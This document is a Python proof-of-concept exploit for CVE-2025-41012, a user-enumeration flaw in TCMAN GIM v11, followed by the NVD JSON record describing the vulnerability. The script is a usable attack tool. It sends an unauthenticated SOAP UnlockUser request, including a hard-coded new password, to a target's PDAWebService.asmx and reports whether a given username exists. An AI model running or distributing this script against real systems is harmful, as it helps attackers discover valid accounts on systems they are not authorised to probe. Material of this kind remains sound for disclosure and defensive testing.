CVE-2025-41012

import requests import sys def check_user_exists(target_url, username): """ PoC for CVE-2025-41012: TCMAN GIM v11 User Enumeration This script checks if a user exists in the system via PDAWebService.asmx """ endpoint = f"{target_url}/WS/PDAWebService.asmx" # SOAP request payload for UnlockUser action soap_payload = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:pda="http://tempuri.org/pda"> <soap:Body> <pda:UnlockUser> <pda:userId>{username}</pda:userId> <pda:newPassword>TestPassword123</pda:newPassword> </pda:UnlockUser> </soap:Body> </soap:Envelope>""" headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': 'http://tempuri.org/pda/UnlockUser' } try: response = requests.post(endpoint, data=soap_payload, headers=headers, timeout=10) # Analyze response to determine if user exists if 'user not found' in response.text.lower() or response.status_code == 404: return False elif 'unlock' in response.text.lower() or response.status_code == 200: return True else: # Check for differences in response patterns return None except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python cve-2025-41012_poc.py <target_url> <username>") print("Example: python cve-2025-41012_poc.py http://target.com admin") sys.exit(1) target = sys.argv[1] username = sys.argv[2] print(f"[*] Checking if user '{username}' exists on {target}...") result = check_user_exists(target, username) if result is True: print(f"[+] User '{username}' EXISTS in the system") elif result is False: print(f"[-] User '{username}' does NOT exist") else: print(f"[?] Unable to determine user existence")

{"cve": {"id": "CVE-2025-41012", "sourceIdentifier": "[email protected]", "published": "2025-12-02T13:15:53.710", "lastModified": "2025-12-03T19:46:50.783", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unauthorized access vulnerability in TCMAN GIM v11 version 20250304. This vulnerability allows an unauthenticated attacker to determine whether a user exists on the system by using the 'pda:userId' and 'pda:newPassword' parameters with 'soapaction UnlockUser’ in '/WS/PDAWebService.asmx'."}, {"lang": "es", "value": "Vulnerabilidad de acceso no autorizado en TCMAN GIM v11 versión 20250304. Esta vulnerabilidad permite a un atacante no autenticado determinar si un usuario existe en el sistema utilizando los parámetros 'pda:userId' y 'pda:newPassword' con 'soapaction UnlockUser' en '/WS/PDAWebService.asmx'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tcman:gim:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-04-01", "matchCriteriaId": "60C91556-380B-401D-BC94-40FA46DF23F2"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-tcman-gim-2", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}